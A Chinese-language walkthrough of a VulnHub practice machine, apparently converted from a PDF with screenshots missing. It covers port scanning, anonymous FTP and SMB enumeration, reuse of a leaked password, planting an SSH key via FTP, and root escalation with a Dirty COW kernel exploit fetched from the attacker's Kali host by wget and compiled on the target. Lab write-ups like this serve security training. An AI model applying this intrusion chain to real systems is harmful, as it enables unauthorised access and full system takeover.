【VulnHub系列】DC4

因为是从PDF转换过来偶尔可能会出现内容缺少,可以看原版PDF:有道云笔记

实验环境

Kali:192.168.10.102

MyFileServer:192.168.10.106

实验过程

通过arp-scan来发现靶机的IP地址

sudo arp-scan --interface eth0 192.168.10.1/24

【VulnHub系列】DC4_第1张图片

用namp来扫描靶机的TCP端口和UDP端口开放情况

# --min-rate:发包的最小速率# -sT,-sU:采用TCP、UDP扫描
# --top-ports [number]:扫描常用的端口
sudo nmap -sT --min-rate 10000 -p- 192.168.10.106 -oA nmap_result/ports

sudo nmap -sU --top-ports 20 192.168.10.106 -oA nmap_result/udp

【VulnHub系列】DC4_第2张图片 对扫出来的TCP端口进行做详细的扫描,对刚刚的扫描报告内容进行提取

# grep 抓取包含Open字样行的内容
# awk -F '/' :-F是分隔符,通过/来进行划分打印输出分组1的内容即端口号
# paste -sd ',':-s 表示串行合并,-d ','表示用,进行分割
grep open nmap_result/ports.nmap | awk -F '/' '{print $1}'| paste -sd ','

这些TCP端口进行常规的漏洞扫描以及详细信息扫描

【VulnHub系列】DC4_第3张图片 【VulnHub系列】DC4_第4张图片

 通过扫描结果可以看到ftp可以进行匿名登陆

 【VulnHub系列】DC4_第5张图片

 登陆FTP搜集可用信息

【VulnHub系列】DC4_第6张图片

ftp> binary

 【VulnHub系列】DC4_第7张图片

 尝试下载发现很多文件都无法下载,下载来的cron里面也没什么有用的信息

还有一个2121端口也是ftp也登陆看看有没有有用的信息

【VulnHub系列】DC4_第8张图片

 依旧是权限不足无法下载

【VulnHub系列】DC4_第9张图片

【VulnHub系列】DC4_第10张图片 

手动尝试下常见的文件 

http://192.168.10.106/readme.txt http://192.168.10.106/robots.txt

得到密码:rootroot1,但是账号不知道

【VulnHub系列】DC4_第11张图片 

 用gobuster来遍历下目录

gobuster dir -u http://192.168.10.106/ -x txt,rar,zip,tar,sql,php -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

【VulnHub系列】DC4_第12张图片

 

gobuster也没扫出什么有用的信息

靶机还开放了smb服务,尝试从smb中寻找突破口

smbmap -H 192.168.10.106

可以看到其中的smbdata有可读可写的权限

【VulnHub系列】DC4_第13张图片

根据我们之前发现的信息,尝试 账号:smbdata 密码:rootroot1 可以成功登陆

sudo smbclient //192.168.10.106/smbdata

 【VulnHub系列】DC4_第14张图片

 分别下载了 messages、secure、sshd_config messages中没有什么可用信息

sshd_config中发现靶机仅仅支持证书登陆,不允许密码登陆

【VulnHub系列】DC4_第15张图片

 

 现在我们有2个账号2个密码

账号:smbdata、smbuser
密码:rootroot1,chauthtok

尝试smbuser:chauthtok登陆ftp发现错误

尝试ftp碰撞发现smbuser:rootroot1也可以登陆ftp

【VulnHub系列】DC4_第16张图片

现smbuser的ftp目录是家目录

【VulnHub系列】DC4_第17张图片

 结合之前ssh_config的配置信息,我们可以上传自己的一个证书来达到通过smbuser来登陆ssh

sudo ssh-keygen

kali上生成一个证书

【VulnHub系列】DC4_第18张图片

然后通过ftp将公钥证书上传上去

【VulnHub系列】DC4_第19张图片 然后ssh通过证书登陆smbuser

# -i:证书私钥
sudo ssh -i dfz [email protected]

【VulnHub系列】DC4_第20张图片

 查看下 smbuser的sudo权限

smbuser:rootroot1

 【VulnHub系列】DC4_第21张图片

找下拥有SUID的文件(PS:SUID文件是当文件运行时,会以文件拥有者的权限运行而不是当前用户的权限, 要给一个文件设置SUID可以通过 chmod u+s filename设置)

# -perm:以文件权限来查找文件
find / -perm -u=s -type f 2>/dev/null

 查看下有没有定时任务

【VulnHub系列】DC4_第22张图片

 查看内核版本

通过上面的信息发现并没有什么可用的信息,但是系统的内核版本比较低可以尝试使用脏牛进行提权尝试用systemd-run打开一个shell,发现失败

# systemd-run是一个用于在systemd管理的用户空间中启动进程的工具。-t选项表示在启动的进程中分配一个tty,/bin/bash是要启动的进程。
systemd-run -t /bin/bash

 

 完善下shell

export TERM=xterm

通过searchsploit查询可用的提权EXP

searchsploit kernel 3.10 Privilege Escalation

【VulnHub系列】DC4_第23张图片

 尝试下42887.c

searchsploit -m 42887.c

少rootshell.h,换个exp尝试

【VulnHub系列】DC4_第24张图片

 尝试下15962.c

【VulnHub系列】DC4_第25张图片

 尝试33516.c,发现可以成功生成

【VulnHub系列】DC4_第26张图片

php开启临时http服务,然后靶机用wget下载,但是运行报错

【VulnHub系列】DC4_第27张图片 

这里尝试使用linpeas.sh(https://github.com/carlospolop/PEASS- ng/releases/latest/download/linpeas.sh)来给我们提权提供建议

同样的方式下载到靶机

 

 因为输出的内容过多,我们通过more命令来进行逐页查看

./linpeas.sh | more

【VulnHub系列】DC4_第28张图片

 根据信息可以看出CVE-2016-5195和CVE-2016-5195可能性最高,我们就尝试这2个EXP CVE-2016-5195失败

【VulnHub系列】DC4_第29张图片

CVE-2016-5195失败 

【VulnHub系列】DC4_第30张图片

 到网上查询了别人是用40616成功提权的

searchsploit dirty cow

然后还是在Kali中编译好上传到靶机

【VulnHub系列】DC4_第31张图片

但是在靶机上运行还是有问题 

后来才明白要在靶机上进行编译然后运行才能提权成功(算踩了一次坑吧)

wget http://192.168.10.102:8081/40616.c gcc 40616.c -o 40616 -pthread
chmod +x 40616
./40616

 【VulnHub系列】DC4_第32张图片

 【VulnHub系列】DC4_第33张图片

 

 

你可能感兴趣的:(VULNHUB靶场题解集合,Vulnhub,网络安全)